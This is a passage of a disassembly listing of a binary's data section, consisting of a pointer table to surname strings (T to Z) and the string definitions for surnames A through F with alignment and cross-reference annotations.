dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_4443B8o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: .data:004443BCo
align 4
aAdams db 'Adams',0 ; DATA XREF: .data:004443C0o
align 4
aAddison db 'Addison',0 ; DATA XREF: .data:off_4443C4o
aAdelstein db 'Adelstein',0 ; DATA XREF: .data:004443C8o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .data:004443CCo
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: .data:004443D0o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .data:004443D4o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: .data:004443D8o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .data:004443DCo
align 10h
aAlda db 'Alda',0 ; DATA XREF: .data:004443E0o
align 4
aAleks db 'Aleks',0 ; DATA XREF: .data:004443E4o
align 10h
aAllison db 'Allison',0 ; DATA XREF: .data:004443E8o
aAlongi db 'Alongi',0 ; DATA XREF: .data:004443ECo
align 10h
aAltavilla db 'Altavilla',0 ; DATA XREF: .data:004443F0o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: .data:004443F4o
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:004443F8o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .data:004443FCo
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:00444400o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .data:00444404o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: .data:00444408o
align 4
aAnand db 'Anand',0 ; DATA XREF: .data:0044440Co
align 10h
aAndel db 'Andel',0 ; DATA XREF: .data:00444410o
align 4
aAndo db 'Ando',0 ; DATA XREF: .data:00444414o
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: .data:00444418o
align 4
aAndron db 'Andron',0 ; DATA XREF: .data:0044441Co
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:00444420o
align 10h
aAnsley db 'Ansley',0 ; DATA XREF: .data:00444424o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .data:00444428o
aAntos db 'Antos',0 ; DATA XREF: .data:0044442Co
align 4
aArbia db 'Arbia',0 ; DATA XREF: .data:00444430o
align 10h
aArduini db 'Arduini',0 ; DATA XREF: .data:00444434o
aArellano db 'Arellano',0 ; DATA XREF: .data:00444438o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .data:0044443Co
align 10h
aArjas db 'Arjas',0 ; DATA XREF: .data:00444440o
align 4
aArky db 'Arky',0 ; DATA XREF: .data:00444444o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: .data:00444448o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .data:0044444Co
; .data:off_44A5C0o
align 4
aAurelius db 'Aurelius',0 ; DATA XREF: .data:00444450o
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: .data:00444454o
aAxworthy db 'Axworthy',0 ; DATA XREF: .data:00444458o
align 4
aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0044445Co
aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:00444460o
aAyling db 'Ayling',0 ; DATA XREF: .data:00444464o
align 4
aAzima db 'Azima',0 ; DATA XREF: .data:00444468o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0044446Co
align 10h
aBackus db 'Backus',0 ; DATA XREF: .data:00444470o
align 4
aBady db 'Bady',0 ; DATA XREF: .data:00444474o
align 10h
aBaglivo db 'Baglivo',0 ; DATA XREF: .data:00444478o
aBagnold db 'Bagnold',0 ; DATA XREF: .data:0044447Co
aBailar db 'Bailar',0 ; DATA XREF: .data:00444480o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:00444484o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .data:00444488o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: .data:0044448Co
align 4
aBallew db 'Ballew',0 ; DATA XREF: .data:00444490o
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: .data:00444494o
align 4
aBanta db 'Banta',0 ; DATA XREF: .data:00444498o
align 10h
aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0044449Co
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .data:004444A0o
aBaranczak db 'Baranczak',0 ; DATA XREF: .data:004444A4o
align 10h
aBaranowska db 'Baranowska',0 ; DATA XREF: .data:004444A8o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .data:004444ACo
aBarbetti db 'Barbetti',0 ; DATA XREF: .data:004444B0o
align 10h
aBarneson db 'Barneson',0 ; DATA XREF: .data:004444B4o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .data:004444B8o
aBarriola db 'Barriola',0 ; DATA XREF: .data:004444BCo
align 10h
aBarry db 'Barry',0 ; DATA XREF: .data:004444C0o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:004444C4o
aBartolome db 'Bartolome',0 ; DATA XREF: .data:004444C8o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: .data:004444CCo
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .data:004444D0o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .data:004444D4o
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: .data:004444D8o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: .data:004444DCo
align 4
aBayles db 'Bayles',0 ; DATA XREF: .data:004444E0o
align 10h
aBayo db 'Bayo',0 ; DATA XREF: .data:004444E4o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .data:004444E8o
align 10h
aBeal db 'Beal',0 ; DATA XREF: .data:004444ECo
align 4
aBean db 'Bean',0 ; DATA XREF: .data:004444F0o
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: .data:004444F4o
aBeder db 'Beder',0 ; DATA XREF: .data:004444F8o
align 10h
aBedford db 'Bedford',0 ; DATA XREF: .data:004444FCo
aBehenna db 'Behenna',0 ; DATA XREF: .data:00444500o
aBelanger db 'Belanger',0 ; DATA XREF: .data:00444504o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:00444508o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .data:0044450Co
align 10h
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:00444510o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: .data:00444514o
align 4
aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:00444518o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .data:0044451Co
aBelloc db 'Belloc',0 ; DATA XREF: .data:00444520o
align 4
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:00444524o
align 4
aBergson db 'Bergson',0 ; DATA XREF: .data:00444528o
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0044452Co
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: .data:00444530o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: .data:00444534o
align 4
aBernston db 'Bernston',0 ; DATA XREF: .data:00444538o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0044453Co
align 4
aBetti db 'Betti',0 ; DATA XREF: .data:00444540o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .data:00444544o
aBiagioli db 'Biagioli',0 ; DATA XREF: .data:00444548o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: .data:0044454Co
align 4
aBinion db 'Binion',0 ; DATA XREF: .data:00444550o
align 10h
aBir db 'Bir',0 ; DATA XREF: .data:00444554o
aBisema db 'Bisema',0 ; DATA XREF: .data:00444558o
align 4
aBisho db 'Bisho',0 ; DATA XREF: .data:0044455Co
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:00444560o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: .data:00444564o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .data:00444568o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0044456Co
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: .data:00444570o
align 4
aBliss db 'Bliss',0 ; DATA XREF: .data:00444574o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: .data:00444578o
aBloch db 'Bloch',0 ; DATA XREF: .data:0044457Co
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:00444580o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:00444584o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .data:00444588o
aBlyth db 'Blyth',0 ; DATA XREF: .data:0044458Co
align 4
aBolger db 'Bolger',0 ; DATA XREF: .data:00444590o
align 10h
aBolick db 'Bolick',0 ; DATA XREF: .data:00444594o
align 4
aBollinger db 'Bollinger',0 ; DATA XREF: .data:00444598o
align 4
aBologna db 'Bologna',0 ; DATA XREF: .data:0044459Co
aBoner db 'Boner',0 ; DATA XREF: .data:004445A0o
align 4
aBonham db 'Bonham',0 ; DATA XREF: .data:004445A4o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: .data:004445A8o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: .data:004445ACo
align 4
aBook db 'Book',0 ; DATA XREF: .data:004445B0o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:004445B4o
align 4
aBoone db 'Boone',0 ; DATA XREF: .data:004445B8o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: .data:004445BCo
align 4
aBorack db 'Borack',0 ; DATA XREF: .data:004445C0o
align 4
aBorden db 'Borden',0 ; DATA XREF: .data:004445C4o
align 4
aBossi db 'Bossi',0 ; DATA XREF: .data:004445C8o
align 4
aBothman db 'Bothman',0 ; DATA XREF: .data:004445CCo
aBotosh db 'Botosh',0 ; DATA XREF: .data:004445D0o
align 4
aBoudin db 'Boudin',0 ; DATA XREF: .data:004445D4o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .data:004445D8o
aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:004445DCo
align 10h
aBowers db 'Bowers',0 ; DATA XREF: .data:004445E0o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .data:004445E4o
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: .data:004445E8o
align 4
aBoyes db 'Boyes',0 ; DATA XREF: .data:004445ECo
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .data:004445F0o
aBoym db 'Boym',0 ; DATA XREF: .data:004445F4o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .data:004445F8o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: .data:004445FCo
align 4
aBradac db 'Bradac',0 ; DATA XREF: .data:00444600o
align 10h
aBradach db 'Bradach',0 ; DATA XREF: .data:00444604o
aBrecht db 'Brecht',0 ; DATA XREF: .data:00444608o
align 10h
aBreed db 'Breed',0 ; DATA XREF: .data:0044460Co
align 4
aBrenan db 'Brenan',0 ; DATA XREF: .data:00444610o
align 10h
aBrennan db 'Brennan',0 ; DATA XREF: .data:00444614o
aBrewer db 'Brewer',0 ; DATA XREF: .data:00444618o
align 10h
aBrewer_0 db 'Brewer',0 ; DATA XREF: .data:0044461Co
align 4
aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:00444620o
align 4
aBridges db 'Bridges',0 ; DATA XREF: .data:00444624o
aBrinton db 'Brinton',0 ; DATA XREF: .data:00444628o
aBritz db 'Britz',0 ; DATA XREF: .data:0044462Co
align 4
aBroca db 'Broca',0 ; DATA XREF: .data:00444630o
align 4
aBrook db 'Brook',0 ; DATA XREF: .data:00444634o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: .data:00444638o
aBuchan db 'Buchan',0 ; DATA XREF: .data:0044463Co
align 4
aBudding db 'Budding',0 ; DATA XREF: .data:00444640o
aBullard db 'Bullard',0 ; DATA XREF: .data:00444644o
aBunton db 'Bunton',0 ; DATA XREF: .data:00444648o
align 4
aBurden db 'Burden',0 ; DATA XREF: .data:0044464Co
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: .data:00444650o
align 4
aBurke db 'Burke',0 ; DATA XREF: .data:00444654o
align 4
aBurridge db 'Burridge',0 ; DATA XREF: .data:00444658o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: .data:0044465Co
aByatt db 'Byatt',0 ; DATA XREF: .data:00444660o
align 4
aByerly db 'Byerly',0 ; DATA XREF: .data:00444664o
align 10h
aByrd db 'Byrd',0 ; DATA XREF: .data:00444668o
align 4
aCage db 'Cage',0 ; DATA XREF: .data:0044466Co
align 10h
aCalnan db 'Calnan',0 ; DATA XREF: .data:00444670o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: .data:00444674o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:00444678o
align 10h
aCanley db 'Canley',0 ; DATA XREF: .data:0044467Co
align 4
aCapanni db 'Capanni',0 ; DATA XREF: .data:00444680o
aCaperton db 'Caperton',0 ; DATA XREF: .data:00444684o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:00444688o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0044468Co
align 4
aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:00444690o
align 10h
aCapursi db 'Capursi',0 ; DATA XREF: .data:00444694o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:00444698o
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0044469Co
aCarlin db 'Carlin',0 ; DATA XREF: .data:004446A0o
align 4
aCarlos db 'Carlos',0 ; DATA XREF: .data:004446A4o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .data:004446A8o
aCarmichael db 'Carmichael',0 ; DATA XREF: .data:004446ACo
align 4
aCaroti db 'Caroti',0 ; DATA XREF: .data:004446B0o
align 10h
aCarper db 'Carper',0 ; DATA XREF: .data:004446B4o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: .data:004446B8o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .data:004446BCo
align 4
aCase db 'Case',0 ; DATA XREF: .data:004446C0o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .data:004446C4o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .data:004446C8o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:004446CCo
align 4
aCavell db 'Cavell',0 ; DATA XREF: .data:004446D0o
align 4
aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:004446D4o
align 4
aCerioli db 'Cerioli',0 ; DATA XREF: .data:004446D8o
aChapman db 'Chapman',0 ; DATA XREF: .data:004446DCo
aCharles db 'Charles',0 ; DATA XREF: .data:004446E0o
aCheang db 'Cheang',0 ; DATA XREF: .data:004446E4o
align 4
aCherry db 'Cherry',0 ; DATA XREF: .data:004446E8o
align 10h
aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:004446ECo
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .data:004446F0o
align 4
aChien db 'Chien',0 ; DATA XREF: .data:004446F4o
align 10h
aChildress db 'Childress',0 ; DATA XREF: .data:004446F8o
align 4
aChilds db 'Childs',0 ; DATA XREF: .data:004446FCo
align 4
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:00444700o
aChinman db 'Chinman',0 ; DATA XREF: .data:00444704o
aChristenson db 'Christenson',0 ; DATA XREF: .data:00444708o
aChristian db 'Christian',0 ; DATA XREF: .data:0044470Co
align 10h
aChristiano db 'Christiano',0 ; DATA XREF: .data:00444710o
align 4
aChristie db 'Christie',0 ; DATA XREF: .data:00444714o
align 4
aChristopher db 'Christopher',0 ; DATA XREF: .data:00444718o
aChu db 'Chu',0 ; DATA XREF: .data:0044471Co
aChupasko db 'Chupasko',0 ; DATA XREF: .data:00444720o
align 4
aChurch db 'Church',0 ; DATA XREF: .data:00444724o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:00444728o
align 4
aCicero db 'Cicero',0 ; DATA XREF: .data:0044472Co
align 10h
aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:00444730o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: .data:00444734o
aClancy db 'Clancy',0 ; DATA XREF: .data:00444738o
align 4
aClark db 'Clark',0 ; DATA XREF: .data:0044473Co
align 4
aClement db 'Clement',0 ; DATA XREF: .data:00444740o
aClifton db 'Clifton',0 ; DATA XREF: .data:00444744o
aClow db 'Clow',0 ; DATA XREF: .data:00444748o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0044474Co
aCoito db 'Coito',0 ; DATA XREF: .data:00444750o
align 4
aColdren db 'Coldren',0 ; DATA XREF: .data:00444754o
aColella db 'Colella',0 ; DATA XREF: .data:00444758o
aCollard db 'Collard',0 ; DATA XREF: .data:0044475Co
aCollis db 'Collis',0 ; DATA XREF: .data:00444760o
align 4
aCompton db 'Compton',0 ; DATA XREF: .data:00444764o
aCompton_0 db 'Compton',0 ; DATA XREF: .data:00444768o
aComstock db 'Comstock',0 ; DATA XREF: .data:0044476Co
align 4
aConcino db 'Concino',0 ; DATA XREF: .data:00444770o
aCondodina db 'Condodina',0 ; DATA XREF: .data:00444774o
align 4
aConnors db 'Connors',0 ; DATA XREF: .data:00444778o
aCorey db 'Corey',0 ; DATA XREF: .data:0044477Co
align 4
aCornish db 'Cornish',0 ; DATA XREF: .data:00444780o
aCosmides db 'Cosmides',0 ; DATA XREF: .data:00444784o
align 10h
aCounter db 'Counter',0 ; DATA XREF: .data:00444788o
aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0044478Co
aCrawford db 'Crawford',0 ; DATA XREF: .data:00444790o
align 4
aCrocker db 'Crocker',0 ; DATA XREF: .data:00444794o
aCroshaw db 'Croshaw',0 ; DATA XREF: .data:00444798o
aCroxen db 'Croxen',0 ; DATA XREF: .data:0044479Co
align 4
aCroxton db 'Croxton',0 ; DATA XREF: .data:004447A0o
aCui db 'Cui',0 ; DATA XREF: .data:004447A4o
aCurrier db 'Currier',0 ; DATA XREF: .data:004447A8o
aCutler db 'Cutler',0 ; DATA XREF: .data:004447ACo
align 10h
aCvek db 'Cvek',0 ; DATA XREF: .data:004447B0o
align 4
aCyders db 'Cyders',0 ; DATA XREF: .data:004447B4o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: .data:004447B8o
aDaldalian db 'Daldalian',0 ; DATA XREF: .data:004447BCo
align 4
aDaly db 'Daly',0 ; DATA XREF: .data:004447C0o
align 4
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:004447C4o
aDanieli db 'Danieli',0 ; DATA XREF: .data:004447C8o
aDante db 'Dante',0 ; DATA XREF: .data:004447CCo
align 4
aDapice db 'Dapice',0 ; DATA XREF: .data:004447D0o
align 4
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:004447D4o
aDas db 'Das',0 ; DATA XREF: .data:004447D8o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:004447DCo
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .data:004447E0o
aDavid db 'David',0 ; DATA XREF: .data:004447E4o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .data:004447E8o
aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:004447ECo
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: .data:004447F0o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:004447F4o
align 4
aDerousse db 'deRousse',0 ; DATA XREF: .data:004447F8o
align 10h
aDebroff db 'Debroff',0 ; DATA XREF: .data:004447FCo
aDees db 'Dees',0 ; DATA XREF: .data:00444800o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: .data:00444804o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: .data:00444808o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0044480Co
align 4
aDelger db 'Delger',0 ; DATA XREF: .data:00444810o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:00444814o
align 4
aDeming db 'Deming',0 ; DATA XREF: .data:00444818o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .data:0044481Co
align 10h
aDemusz db 'Demusz',0 ; DATA XREF: .data:00444820o
align 4
aDenault db 'Denault',0 ; DATA XREF: .data:00444824o
aDenham db 'Denham',0 ; DATA XREF: .data:00444828o
align 4
aDenison db 'Denison',0 ; DATA XREF: .data:0044482Co
aDesombre db 'Desombre',0 ; DATA XREF: .data:00444830o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .data:00444834o
aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:00444838o
align 4
aDicks db 'Dicks',0 ; DATA XREF: .data:0044483Co
align 4
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:00444840o
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: .data:00444844o
aDifronzo db 'Difronzo',0 ; DATA XREF: .data:00444848o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .data:0044484Co
align 10h
aDionysius db 'Dionysius',0 ; DATA XREF: .data:00444850o
align 4
aDirksen db 'Dirksen',0 ; DATA XREF: .data:00444854o
aDockery db 'Dockery',0 ; DATA XREF: .data:00444858o
aDoherty db 'Doherty',0 ; DATA XREF: .data:0044485Co
aDonahue db 'Donahue',0 ; DATA XREF: .data:00444860o
aDonner db 'Donner',0 ; DATA XREF: .data:00444864o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .data:00444868o
align 4
aDore db 'Dore',0 ; DATA XREF: .data:0044486Co
align 4
aDorf db 'Dorf',0 ; DATA XREF: .data:00444870o
align 4
aDosi db 'Dosi',0 ; DATA XREF: .data:00444874o
align 4
aDoty db 'Doty',0 ; DATA XREF: .data:00444878o
align 4
aDoug db 'Doug',0 ; DATA XREF: .data:0044487Co
align 4
aDowsland db 'Dowsland',0 ; DATA XREF: .data:00444880o
align 10h
aDrinker db 'Drinker',0 ; DATA XREF: .data:00444884o
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:00444888o
aDuffin db 'Duffin',0 ; DATA XREF: .data:0044488Co
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .data:00444890o
aDussault db 'Dussault',0 ; DATA XREF: .data:00444894o
align 4
aDwyer db 'Dwyer',0 ; DATA XREF: .data:00444898o
align 4
aEardley db 'Eardley',0 ; DATA XREF: .data:0044489Co
aEbeling db 'Ebeling',0 ; DATA XREF: .data:004448A0o
aEckel db 'Eckel',0 ; DATA XREF: .data:004448A4o
align 4
aEdley db 'Edley',0 ; DATA XREF: .data:004448A8o
align 4
aEdner db 'Edner',0 ; DATA XREF: .data:004448ACo
align 4
aEdward db 'Edward',0 ; DATA XREF: .data:004448B0o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:004448B4o
aEliasson db 'Eliasson',0 ; DATA XREF: .data:004448B8o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:004448BCo
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: .data:004448C0o
align 4
aElvis db 'Elvis',0 ; DATA XREF: .data:004448C4o
align 4
aEncinas db 'Encinas',0 ; DATA XREF: .data:004448C8o
aEnyeart db 'Enyeart',0 ; DATA XREF: .data:004448CCo
aEppling db 'Eppling',0 ; DATA XREF: .data:004448D0o
aErbach db 'Erbach',0 ; DATA XREF: .data:004448D4o
align 4
aErdman db 'Erdman',0 ; DATA XREF: .data:004448D8o
align 4
aErdos db 'Erdos',0 ; DATA XREF: .data:004448DCo
align 4
aErez db 'Erez',0 ; DATA XREF: .data:004448E0o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .data:004448E4o
align 10h
aEstes db 'Estes',0 ; DATA XREF: .data:004448E8o
align 4
aEtter db 'Etter',0 ; DATA XREF: .data:004448ECo
align 10h
aEuripides db 'Euripides',0 ; DATA XREF: .data:004448F0o
align 4
aEverett db 'Everett',0 ; DATA XREF: .data:004448F4o
aFabbris db 'Fabbris',0 ; DATA XREF: .data:004448F8o
aFagan db 'Fagan',0 ; DATA XREF: .data:004448FCo
align 4
aFaioes db 'Faioes',0 ; DATA XREF: .data:00444900o
align 4
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:00444904o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .data:00444908o
aFaris db 'Faris',0 ; DATA XREF: .data:0044490Co
align 4
aFarone db 'Farone',0 ; DATA XREF: .data:00444910o
align 4
aFarren db 'Farren',0 ; DATA XREF: .data:00444914o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .data:00444918o
align 4
aFates db 'Fates',0 ; DATA XREF: .data:0044491Co
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:00444920o
align 4
aFejzo db 'Fejzo',0 ; DATA XREF: .data:00444924o
align 10h
aFeldman db 'Feldman',0 ; DATA XREF: .data:00444928o
aFernald db 'Fernald',0 ; DATA XREF: .data:0044492Co
aFernandes db 'Fernandes',0 ; DATA XREF: .data:00444930o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: .data:00444934o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: .data:00444938o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: .data:0044493Co
align 4
aFido db 'Fido',0 ; DATA XREF: .data:00444940o
align 4
aField db 'Field',0 ; DATA XREF: .data:00444944o
align 4
aFink db 'Fink',0 ; DATA XREF: .data:00444948o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:0044494Co
aFinnegan db 'Finnegan',0 ; DATA XREF: .data:00444950o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .data:00444954o
aFisk db 'Fisk',0 ; DATA XREF: .data:00444958o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:0044495Co
aFlier db 'Flier',0 ; DATA XREF: .data:00444960o
align 10h
aFlores db 'Flores',0 ; DATA XREF: .data:00444964o
align 4
